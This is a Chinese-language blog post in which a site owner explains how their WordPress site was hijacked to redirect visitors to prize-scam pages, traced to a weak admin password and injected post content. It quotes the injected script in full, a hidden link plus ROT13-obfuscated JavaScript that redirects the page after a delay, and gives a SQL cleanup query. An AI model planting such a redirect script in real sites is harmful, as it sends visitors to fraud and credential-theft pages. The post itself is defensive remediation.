解决劫持问题
今天打开我的个人网站bingxiong.vip发现主页被劫持了,为了节约钱这个站点的服务器一直没有买防火墙,打开主页会被劫持到一些诈骗的站点,大概会跳转到的站点长这个样子:
这个站点会引导下载一些软件
这个站点会通过恭喜你中奖的方式盗取用户银行卡密码
其实要解决这样的劫持问题是非常简单的,因为实现劫持的方式只有几种:
- 方式一:域名劫持 解决方法是检查解析记录或者更换DNS服务商
- 方式二:通过漏洞被恶意上传了文件 可以通过FTP到服务器看文件的更新日期解决 或者直接上传覆盖掉之前的文件
- 方式三:数据库被SQL注入了 右键网站的源代码,看看是不是被插入了恶意
- 方式四:被XSS了 一般是将JS的代码通过SQL注入到数据库中,这种攻击方式损害大
我是这样解决定位这个问题的产生的:
首先简单的看了一下排除方式一,然后打开源码之后看一下没有搜索跳转的到的网站 https://takeyourprizehere1.life/?u=y2ykaew&o=2xup89r&m=1&t=webmns4 没有直接搜索到,想了想也不会这么简单,如果要直接插入的话应该要在JS进行下字符串的连接之类的至少不能这么明显,然后打开控制台看看是哪个函数导致的跳转
发现是一个 的函数,因此来进行的跳转,这下可以确定是被SQL注入了JS跳转的代码,接下来找到这个函数
发现这段代码是被插入到了header和slider之间的部分,也就是上面白色的那一部分,作为一个div插入,这段插入的代码是
可以看到这个div伪装成了一个连接,然后在这个连接中有插入了一个SetTimout的函数,这个函数中通过字符串拼接的方式拼接出要跳转的网址,找到问题的所在就好办了,直接删除掉这段代码就可以了。
这次问题出现的原因是后台登录名admin和密码123456太简单了并且没有限制输密码的次数所致….现在已经修改了密码并加上了密码输入次数限制。
后来发现每个文章和页面都被注入了,注入的脚本是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<div id='3f41457d'> <a href='http://perfectfastsale.su' style='visibility: hidden' title='rx online'>rx online</a> <script> String.prototype.a73fba7d = function() { return this.replace(/[a-zA-Z]/g, function(c) { return String.fromCharCode((c<='Z'?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26); }); }; u='uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4'; function f31454d7(){ window.top.location.href = u.a73fba7d(); } setTimeout(f31454d7,4987); </script> </div> |
既然每篇文章都被注入了,那么通过SQL语句对对这个语句进行修改使其不能执行:
1 |
update wp_posts set post_content=REPLACE(post_content,'setTimeout',' ') where id > 0 |
这样之后发现很多文章已经没有这个问题了,因此只要全部替换掉就可以了
但是这样以后发现还有一些页面也没有修复并且跳转到其他站点上了,因此对其他页面进行排查发现也被注入了
我也遇到了,谢谢